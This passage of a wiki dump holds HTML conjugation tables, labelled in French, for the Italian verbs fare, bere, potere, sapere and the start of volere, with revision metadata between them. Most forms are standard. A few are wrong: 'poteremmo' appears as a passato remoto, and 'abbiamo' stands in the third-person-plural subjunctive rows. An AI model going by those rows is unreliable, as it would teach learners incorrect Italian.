align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Pass&eacute;'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Plus-que-parfait'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">faccia</div> </td> <td width="26%"> <div align="center">facessi</div> </td> <td width="27%"> <div align="center">abbia fatto</div> </td> <td width="24%"> <div align="center">avessi fatto</div> </td> </tr> <tr> <td width="23%"> <div align="center">faccia</div> </td> <td width="26%"> <div align="center">facessi</div> <td width="27%"> <div align="center">abbia fatto</div> </td> <td width="24%"> <div align="center">avessi fatto</div> </td> </tr> <tr> <td width="23%"> <div align="center">faccia</div> </td> <td width="26%"> <div align="center">facesse</div> </td> <td width="27%"> <div align="center">abbia fatto</div> </td> <td width="24%"> <div align="center">avesse fatto</div> </td> </tr> <tr> <td width="23%"> <div align="center">facciamo</div> </td> <td width="26%"> <div align="center">facessimo</div> </td> <td width="27%"> <div align="center">abbiamo fatto</div> </td> <td width="24%"> <div align="center">avessimo fatto</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">facciate</div> </td> <td width="26%" height="13"> <div align="center">faceste</div> </td> <td width="27%" height="13"> <div align="center">abbiate fatto</div> </td> <td width="24%" height="13"> <div align="center">aveste fatto</div> </td> </tr> <tr> <td width="23%"> <div align="center">facciano</div> </td> <td width="26%"> <div align="center">facessero</div> </td> <td width="27%"> <div align="center">abbiano fatto</div> </td> <td width="24%"> <div align="center">avessero fatto</div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''CONDITIONNEL'''</div> </td> <td width="27%" height="52"> <div align="center">'''IMP&Eacute;RATIF'''</div> </td> <td width="24%" height="52"> <div align="center">'''PARTICIPE PASS&Eacute;'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">farei</div> </td> <td width="26%"> <div align="center">avrei fatto</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center">fatto</div> </td> </tr> <tr> <td width="23%"> <div align="center">faresti</div> </td> <td width="26%"> <div align="center">avresti fatto</div> </td> <td width="27%"> <div align="center">fa'</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">farebbe</div> </td> <td width="26%"> <div align="center">avrebbe fatto</div> </td> <td width="27%"> <div align="center">faccia</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">faremmo</div> </td> <td width="26%"> <div align="center">avremmo fatto</div> </td> <td width="27%"> <div align="center">facciamo</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">fareste</div> </td> <td width="26%" height="13"> <div align="center">avreste fatto</div> </td> <td width="27%" height="13"> <div align="center">fate</div> </td> <td width="24%" height="13"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">farebbero</div> </td> <td width="26%"> <div align="center">avrebbero fatto</div> </td> <td width="27%"> <div align="center">facciano</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''INFINITIF'''</div> </td> <td height="52"> <div align="center">'''G&Eacute;RONDIF'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%" bgcolor="#E6CCF2"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td width="24%" bgcolor="#BCE9A7"> <div align="center">'''Pass&eacute;'''</div> </td> </tr> <tr> <td width="23%"> <div align="center"`>fare</div> <td width="26%"> <div align="center">avere fatto</div> </td> <td width="27%"> <div align="center">facendo</div> </td> <td width="24%"> <div align="center">avendo fatto</div> </td> </tr> </table> 2ième conjugaison - bere (boire) 4064 26098 2005-11-26T19:48:31Z 82.235.27.88 <center>'''INDICATIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; simple'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">bevo</div> </td> <td width="26%"> <div align="center">bevevo</div> </td> <td width="27%"> <div align="center">berr&ograve;</div> </td> <td width="24%"> <div align="center">bevvi</div> </td> </tr> <tr> <td width="23%"> <div align="center">bevi</div> </td> <td width="26%"> <div align="center">bevevi</div> </td> <td width="27%"> <div align="center">berrai</div> </td> <td width="24%"> <div align="center">bevesti</div> </td> </tr> <tr> <td width="23%"> <div align="center">beve</div> </td> <td width="26%"> <div align="center">beveva</div> </td> <td width="27%"> <div align="center">berr&agrave;</div> </td> <td width="24%"> <div align="center">bevve</div> </td> </tr> <tr> <td width="23%"> <div align="center">beviamo</div> </td> <td width="26%"> <div align="center">bevevamo</div> </td> <td width="27%"> <div align="center">berremo</div> </td> <td width="24%"> <div align="center">bevemmo</div> </td> </tr> <tr> <td width="23%"> <div align="center">bevete</div> </td> <td width="26%"> <div align="center">bevevate</div> </td> <td width="27%"> <div align="center">berrete</div> </td> <td width="24%"> <div align="center">beveste</div> </td> </tr> <tr> <td width="23%"> <div align="center">bevono</div> </td> <td width="26%"> <div align="center">bevevano</div> </td> <td width="27%"> <div align="center">berranno</div> </td> <td width="24%"> <div align="center">bevvero</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pass&eacute; compos&eacute;'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Plus-que-parfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur ant&eacute;rieur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; ant&eacute;rieur'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">ho bevuto</div> <td width="26%"> <div align="center">avevo bevuto</div> </td> <td width="27%"> <div align="center">avr&ograve; bevuto</div> </td> <td width="24%"> <div align="center">ebbi bevuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">hai bevuto</div> </td> <td width="26%"> <div align="center">avevi bevuto</div> </td> <td width="27%"> <div align="center">avrai bevuto</div> </td> <td width="24%"> <div align="center">avesti bevuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">ha bevuto</div> </td> <td width="26%"> <div align="center">aveva bevuto</div> </td> <td width="27%"> <div align="center">avr&agrave; bevuto</div> </td> <td width="24%"> <div align="center">ebbe bevuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">abbiamo bevuto</div> </td> <td width="26%"> <div align="center">avevamo bevuto</div> </td> <td width="27%"> <div align="center">avremo bevuto</div> </td> <td width="24%"> <div align="center">avemmo bevuto</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">avete bevuto</div> </td> <td width="26%" height="13"> <div align="center">avevate bevuto</div> </td> <td width="27%" height="13"> <div align="center">avrete bevuto</div> </td> <td width="24%" height="13"> <div align="center">aveste bevuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">hanno bevuto</div> </td> <td width="26%"> <div align="center">avevano bevuto</div> </td> <td width="27%"> <div align="center">avranno bevuto</div> </td> <td width="24%"> <div align="center">ebbero bevuto</div> </td> </tr> </table> <center>'''SUBJONCTIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Pass&eacute;'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Plus-que-parfait'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">beva</div> </td> <td width="26%"> <div align="center">bevessi</div> </td> <td width="27%"> <div align="center">abbia bevuto</div> </td> <td width="24%"> <div align="center">avessi bevuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">beva</div> </td> <td width="26%"> <div align="center">bevessi</div> <td width="27%"> <div align="center">abbia bevuto</div> </td> <td width="24%"> <div align="center">avessi bevuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">beva</div> </td> <td width="26%"> <div align="center">bevesse</div> </td> <td width="27%"> <div align="center">abbia bevuto</div> </td> <td width="24%"> <div align="center">avesse bevuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">beviamo</div> </td> <td width="26%"> <div align="center">bevessimo</div> </td> <td width="27%"> <div align="center">abbiamo bevuto</div> </td> <td width="24%"> <div align="center">avessimo bevuto</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">beviate</div> </td> <td width="26%" height="13"> <div align="center">beveste</div> </td> <td width="27%" height="13"> <div align="center">abbiate bevuto</div> </td> <td width="24%" height="13"> <div align="center">aveste bevuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">bevano</div> </td> <td width="26%"> <div align="center">bevessero</div> </td> <td width="27%"> <div align="center">abbiamo bevuto</div> </td> <td width="24%"> <div align="center">avessero bevuto</div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''CONDITIONNEL'''</div> </td> <td width="27%" height="52"> <div align="center">'''IMP&Eacute;RATIF'''</div> </td> <td width="24%" height="52"> <div align="center">'''PARTICIPE PASS&Eacute;'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">berrei</div> </td> <td width="26%"> <div align="center">avrei bevuto</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center">bevuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">berresti</div> </td> <td width="26%"> <div align="center">avresti bevuto</div> </td> <td width="27%"> <div align="center">bevi</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">berrebbe</div> </td> <td width="26%"> <div align="center">avrebbe bevuto</div> </td> <td width="27%"> <div align="center">beva</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">berremmo</div> </td> <td width="26%"> <div align="center">avremmo bevuto</div> </td> <td width="27%"> <div align="center">beviamo</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">berreste</div> </td> <td width="26%" height="13"> <div align="center">avreste bevuto</div> </td> <td width="27%" height="13"> <div align="center">bevete</div> </td> <td width="24%" height="13"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">berrebbero</div> </td> <td width="26%"> <div align="center">avrebbero bevuto</div> </td> <td width="27%"> <div align="center">bevano</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''INFINITIF'''</div> </td> <td height="52"> <div align="center">'''G&Eacute;RONDIF'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%" bgcolor="#E6CCF2"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td width="24%" bgcolor="#BCE9A7"> <div align="center">'''Pass&eacute;'''</div> </td> </tr> <tr> <td width="23%"> <div align="center"`>bere</div> <td width="26%"> <div align="center">avere bevuto</div> </td> <td width="27%"> <div align="center">bevendo</div> </td> <td width="24%"> <div align="center">avendo bevuto</div> </td> </tr> </table> 2ième conjugaison - potere (pouvoir) 4067 15532 2005-07-03T10:18:33Z Liquid Bird 382 <center>'''INDICATIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; simple'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">posso</div> </td> <td width="26%"> <div align="center">potevo</div> </td> <td width="27%"> <div align="center">potr&ograve;</div> </td> <td width="24%"> <div align="center">potei</div> </td> </tr> <tr> <td width="23%"> <div align="center">puoi</div> </td> <td width="26%"> <div align="center">potevi</div> </td> <td width="27%"> <div align="center">potrai</div> </td> <td width="24%"> <div align="center">potesti</div> </td> </tr> <tr> <td width="23%"> <div align="center">pu&ograve;</div> </td> <td width="26%"> <div align="center">poteva</div> </td> <td width="27%"> <div align="center">potr&agrave;</div> </td> <td width="24%"> <div align="center">pot&eacute;</div> </td> </tr> <tr> <td width="23%"> <div align="center">possiamo</div> </td> <td width="26%"> <div align="center">potevamo</div> </td> <td width="27%"> <div align="center">potremo</div> </td> <td width="24%"> <div align="center">poteremmo</div> </td> </tr> <tr> <td width="23%"> <div align="center">potete</div> </td> <td width="26%"> <div align="center">potevate</div> </td> <td width="27%"> <div align="center">potrete</div> </td> <td width="24%"> <div align="center">poteste</div> </td> </tr> <tr> <td width="23%"> <div align="center">possono</div> </td> <td width="26%"> <div align="center">potevano</div> </td> <td width="27%"> <div align="center">potranno</div> </td> <td width="24%"> <div align="center">poterono</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pass&eacute; compos&eacute;'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Plus-que-parfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur ant&eacute;rieur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; ant&eacute;rieur'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">ho potuto</div> <td width="26%"> <div align="center">avevo potuto</div> </td> <td width="27%"> <div align="center">avr&ograve; potuto</div> </td> <td width="24%"> <div align="center">ebbi potuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">hai potuto</div> </td> <td width="26%"> <div align="center">avevi potuto</div> </td> <td width="27%"> <div align="center">avrai potuto</div> </td> <td width="24%"> <div align="center">avesti potuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">ha potuto</div> </td> <td width="26%"> <div align="center">aveva potuto</div> </td> <td width="27%"> <div align="center">avr&agrave; potuto</div> </td> <td width="24%"> <div align="center">ebbe potuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">abbiamo potuto</div> </td> <td width="26%"> <div align="center">avevamo potuto</div> </td> <td width="27%"> <div align="center">avremo potuto</div> </td> <td width="24%"> <div align="center">avemmo potuto</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">avete potuto</div> </td> <td width="26%" height="13"> <div align="center">avevate potuto</div> </td> <td width="27%" height="13"> <div align="center">avrete potuto</div> </td> <td width="24%" height="13"> <div align="center">aveste potuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">hanno potuto</div> </td> <td width="26%"> <div align="center">avevano potuto</div> </td> <td width="27%"> <div align="center">avranno potuto</div> </td> <td width="24%"> <div align="center">ebbero potuto</div> </td> </tr> </table> <center>'''SUBJONCTIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Pass&eacute;'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Plus-que-parfait'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">possa</div> </td> <td width="26%"> <div align="center">potessi</div> </td> <td width="27%"> <div align="center">abbia potuto</div> </td> <td width="24%"> <div align="center">avessi potuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">possa</div> </td> <td width="26%"> <div align="center">potessi</div> <td width="27%"> <div align="center">abbia potuto</div> </td> <td width="24%"> <div align="center">avessi potuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">possa</div> </td> <td width="26%"> <div align="center">potesse</div> </td> <td width="27%"> <div align="center">abbia potuto</div> </td> <td width="24%"> <div align="center">avesse potuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">possiamo</div> </td> <td width="26%"> <div align="center">potessimo</div> </td> <td width="27%"> <div align="center">abbiamo potuto</div> </td> <td width="24%"> <div align="center">avessimo potuto</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">possiate</div> </td> <td width="26%" height="13"> <div align="center">poteste</div> </td> <td width="27%" height="13"> <div align="center">abbiate potuto</div> </td> <td width="24%" height="13"> <div align="center">aveste potuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">possano</div> </td> <td width="26%"> <div align="center">potessero</div> </td> <td width="27%"> <div align="center">abbiamo potuto</div> </td> <td width="24%"> <div align="center">avessero potuto</div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''CONDITIONNEL'''</div> </td> <td width="27%" height="52"> <div align="center">'''IMP&Eacute;RATIF'''</div> </td> <td width="24%" height="52"> <div align="center">'''PARTICIPE PASS&Eacute;'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">potrei</div> </td> <td width="26%"> <div align="center">avrei potuto</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center">potuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">potresti</div> </td> <td width="26%"> <div align="center">avresti potuto</div> </td> <td width="27%"> <div align="center">inusité</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">potrebbe</div> </td> <td width="26%"> <div align="center">avrebbe potuto</div> </td> <td width="27%"> <div align="center">inusité</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">potremmo</div> </td> <td width="26%"> <div align="center">avremmo potuto</div> </td> <td width="27%"> <div align="center">inusité</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">potreste</div> </td> <td width="26%" height="13"> <div align="center">avreste potuto</div> </td> <td width="27%" height="13"> <div align="center">inusité</div> </td> <td width="24%" height="13"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">potrebbero</div> </td> <td width="26%"> <div align="center">avrebbero potuto</div> </td> <td width="27%"> <div align="center">inusité</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''INFINITIF'''</div> </td> <td height="52"> <div align="center">'''G&Eacute;RONDIF'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%" bgcolor="#E6CCF2"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td width="24%" bgcolor="#BCE9A7"> <div align="center">'''Pass&eacute;'''</div> </td> </tr> <tr> <td width="23%"> <div align="center"`>potere</div> <td width="26%"> <div align="center">avere potuto</div> </td> <td width="27%"> <div align="center">potendo</div> </td> <td width="24%"> <div align="center">avendo potuto</div> </td> </tr> </table> 2ième conjugaison - sapere (savoir) 4068 15533 2005-07-03T10:17:29Z Liquid Bird 382 <center>'''INDICATIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; simple'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">so</div> </td> <td width="26%"> <div align="center">sapevo</div> </td> <td width="27%"> <div align="center">sapr&ograve;</div> </td> <td width="24%"> <div align="center">seppi</div> </td> </tr> <tr> <td width="23%"> <div align="center">sai</div> </td> <td width="26%"> <div align="center">sapevi</div> </td> <td width="27%"> <div align="center">saprai</div> </td> <td width="24%"> <div align="center">sapesti</div> </td> </tr> <tr> <td width="23%"> <div align="center">sa</div> </td> <td width="26%"> <div align="center">sapeva</div> </td> <td width="27%"> <div align="center">sapr&agrave;</div> </td> <td width="24%"> <div align="center">seppe</div> </td> </tr> <tr> <td width="23%"> <div align="center">sappiamo</div> </td> <td width="26%"> <div align="center">sapevamo</div> </td> <td width="27%"> <div align="center">sapremo</div> </td> <td width="24%"> <div align="center">sapemmo</div> </td> </tr> <tr> <td width="23%"> <div align="center">sapete</div> </td> <td width="26%"> <div align="center">sapevate</div> </td> <td width="27%"> <div align="center">saprete</div> </td> <td width="24%"> <div align="center">sapeste</div> </td> </tr> <tr> <td width="23%"> <div align="center">sanno</div> </td> <td width="26%"> <div align="center">sapevano</div> </td> <td width="27%"> <div align="center">sapranno</div> </td> <td width="24%"> <div align="center">seppero</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pass&eacute; compos&eacute;'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Plus-que-parfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur ant&eacute;rieur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; ant&eacute;rieur'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">ho saputo</div> <td width="26%"> <div align="center">avevo saputo</div> </td> <td width="27%"> <div align="center">avr&ograve; saputo</div> </td> <td width="24%"> <div align="center">ebbi saputo</div> </td> </tr> <tr> <td width="23%"> <div align="center">hai saputo</div> </td> <td width="26%"> <div align="center">avevi saputo</div> </td> <td width="27%"> <div align="center">avrai saputo</div> </td> <td width="24%"> <div align="center">avesti saputo</div> </td> </tr> <tr> <td width="23%"> <div align="center">ha saputo</div> </td> <td width="26%"> <div align="center">aveva saputo</div> </td> <td width="27%"> <div align="center">avr&agrave; saputo</div> </td> <td width="24%"> <div align="center">ebbe saputo</div> </td> </tr> <tr> <td width="23%"> <div align="center">abbiamo saputo</div> </td> <td width="26%"> <div align="center">avevamo saputo</div> </td> <td width="27%"> <div align="center">avremo saputo</div> </td> <td width="24%"> <div align="center">avemmo saputo</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">avete saputo</div> </td> <td width="26%" height="13"> <div align="center">avevate saputo</div> </td> <td width="27%" height="13"> <div align="center">avrete saputo</div> </td> <td width="24%" height="13"> <div align="center">aveste saputo</div> </td> </tr> <tr> <td width="23%"> <div align="center">hanno saputo</div> </td> <td width="26%"> <div align="center">avevano saputo</div> </td> <td width="27%"> <div align="center">avranno saputo</div> </td> <td width="24%"> <div align="center">ebbero saputo</div> </td> </tr> </table> <center>'''SUBJONCTIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Pass&eacute;'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Plus-que-parfait'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">sappia</div> </td> <td width="26%"> <div align="center">sapessi</div> </td> <td width="27%"> <div align="center">abbia saputo</div> </td> <td width="24%"> <div align="center">avessi saputo</div> </td> </tr> <tr> <td width="23%"> <div align="center">sappia</div> </td> <td width="26%"> <div align="center">sapessi</div> <td width="27%"> <div align="center">abbia saputo</div> </td> <td width="24%"> <div align="center">avessi saputo</div> </td> </tr> <tr> <td width="23%"> <div align="center">sappia</div> </td> <td width="26%"> <div align="center">sapesse</div> </td> <td width="27%"> <div align="center">abbia saputo</div> </td> <td width="24%"> <div align="center">avesse saputo</div> </td> </tr> <tr> <td width="23%"> <div align="center">sappiamo</div> </td> <td width="26%"> <div align="center">sapessimo</div> </td> <td width="27%"> <div align="center">abbiamo saputo</div> </td> <td width="24%"> <div align="center">avessimo saputo</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">sappiate</div> </td> <td width="26%" height="13"> <div align="center">sapeste</div> </td> <td width="27%" height="13"> <div align="center">abbiate saputo</div> </td> <td width="24%" height="13"> <div align="center">aveste saputo</div> </td> </tr> <tr> <td width="23%"> <div align="center">sappiano</div> </td> <td width="26%"> <div align="center">sapessero</div> </td> <td width="27%"> <div align="center">abbiamo saputo</div> </td> <td width="24%"> <div align="center">avessero saputo</div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''CONDITIONNEL'''</div> </td> <td width="27%" height="52"> <div align="center">'''IMP&Eacute;RATIF'''</div> </td> <td width="24%" height="52"> <div align="center">'''PARTICIPE PASS&Eacute;'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">saprei</div> </td> <td width="26%"> <div align="center">avrei saputo</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center">saputo</div> </td> </tr> <tr> <td width="23%"> <div align="center">sapresti</div> </td> <td width="26%"> <div align="center">avresti saputo</div> </td> <td width="27%"> <div align="center">sappi</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">saprebbe</div> </td> <td width="26%"> <div align="center">avrebbe saputo</div> </td> <td width="27%"> <div align="center">sappia</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">sapremmo</div> </td> <td width="26%"> <div align="center">avremmo saputo</div> </td> <td width="27%"> <div align="center">sappiamo</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">sapreste</div> </td> <td width="26%" height="13"> <div align="center">avreste saputo</div> </td> <td width="27%" height="13"> <div align="center">sapete</div> </td> <td width="24%" height="13"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">saprebbero</div> </td> <td width="26%"> <div align="center">avrebbero saputo</div> </td> <td width="27%"> <div align="center">sappiano</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''INFINITIF'''</div> </td> <td height="52"> <div align="center">'''G&Eacute;RONDIF'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%" bgcolor="#E6CCF2"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td width="24%" bgcolor="#BCE9A7"> <div align="center">'''Pass&eacute;'''</div> </td> </tr> <tr> <td width="23%"> <div align="center"`>sapere</div> <td width="26%"> <div align="center">avere saputo</div> </td> <td width="27%"> <div align="center">sapendo</div> </td> <td width="24%"> <div align="center">avendo saputo</div> </td> </tr> </table> 2ième conjugaison - volere (vouloir) 4069 36442 2006-03-07T16:52:04Z 86.198.90.82 <center>'''INDICATIF'''</center> <table width="100%" border="2" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; simple'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">voglio</div> </td> <td width="26%"> <div align="center">volevo</div> </td> <td 